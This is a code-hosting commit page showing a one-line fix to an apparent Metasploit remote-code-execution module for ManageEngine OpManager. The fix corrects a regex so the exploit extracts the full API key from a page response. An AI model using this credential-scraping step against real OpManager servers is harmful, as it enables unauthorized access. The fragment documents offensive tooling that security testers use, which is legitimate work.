Skip to content

Commit 14f0409

Browse files
committed
Missing regex '+', readding so we get full API key.
1 parent b02719e commit 14f0409

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/http/manage_engine_opmanager_rce.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -120,7 +120,7 @@ def exploit
120120
'method' => 'GET'
121121
})
122122

123-
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
123+
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9]+)"/
124124
api_key = $1
125125
print_status("Retrieved API key [ #{api_key} ]")
126126
else

0 commit comments

Comments
 (0)